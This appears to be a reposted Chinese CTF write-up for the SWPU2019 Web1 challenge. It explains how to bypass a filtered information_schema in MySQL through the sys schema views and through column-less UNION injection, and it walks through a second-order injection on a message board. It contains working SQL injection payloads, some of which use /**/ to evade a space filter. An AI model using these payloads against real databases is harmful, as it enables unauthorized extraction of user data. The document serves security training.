zoukankan      html  css  js  c++  java
  • [SWPU2019]Web1

    0x00 知识点

    bypass information_schema

    参考链接:

    https://www.anquanke.com/post/id/193512

    进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

    information_schema:

    简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

    ​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

    MySQL5.7的新特性:

    由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

    mysql默认是关闭InnoDB存储引擎的

    注入中在mysql默认情况下就可以替代information_schema库的方法

    schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
    

    schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息

    想通过注入获取到没有自增主键的表的数据怎么办?

    schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
    

    payload:

     schema_auto_increment_columns 
     ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
    
    schema_table_statistics_with_buffer 
    ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
    

    获取字段名

    获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
    

    获取次列及后续列名

    ?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
    

    限制:
    mysql ≥ 5.7版本

    般要超级管理员才可以访问sys

    2:无列名注入

    参考链接:
    https://www.jianshu.com/p/6eba3370cfab

    在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
    在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
    正常查询:

    使用union查询:

    就可以继续使用数字来对应列,如2对应了表里面的用户名:

    当  ` 不能使用的时候,使用别名来代替:

    反单引号表示列名或者表名

    在注入中查询多个列:

    语句
    一般都是:

    (select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 
    

    ((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
    

    0x01解题

    这是一个留言板的二次注入

    登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。

    题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号

    本题在但是比赛中
    bypass information_schema
    是利用的
     sys.schema_auto_increment_columns 库来进行查询
    导致网上很多wp都是这样写的。。
    实际上本题无法使用

    buuoj的平台没有 sys.schema_auto_increment_columns 这个库
    而且一般要超级管理员才可以访问sys

    所以一般还可以用这个方法

    在buuctf环境中这个也不行
    还有一种方法:

    前提是users表存在
    但是这个方法也不行 ,polygon和lingstring被过滤
    那么我们看似有多种解法,其实BUU环境下这个题目我们只能进行无列名注入

    首先,我们先确定列数:
    1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/

    接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位
    注意,在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试。。最后发现users里有三列

    我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
    这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果

    -1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    

    直接查询b列试试

    -1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    

    参考链接:
    https://www.cnblogs.com/tlbjiayou/p/12014926.html

  • 相关阅读:
    Activity跳转动画
    如何查询自己的手机版本?欧版、亚太、港行、还是国行?
    VC程序员常用工具汇总
    陈灯可重用代码段管理器VS插件版5.0发布(代码段收集器、个人代码库、代码片段管理、代码管理)
    基于OSLC的系统集成
    安桌点菜源代码
    eclipse jsp 文字设置
    ubuntu 下 netbeans平台 使用C连接mysql
    使用gdi+实时绘制picturebox(画个叉)
    思路上的转变,运用投影和一阶导数的思想
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12241499.html
Copyright © 2011-2022 走看看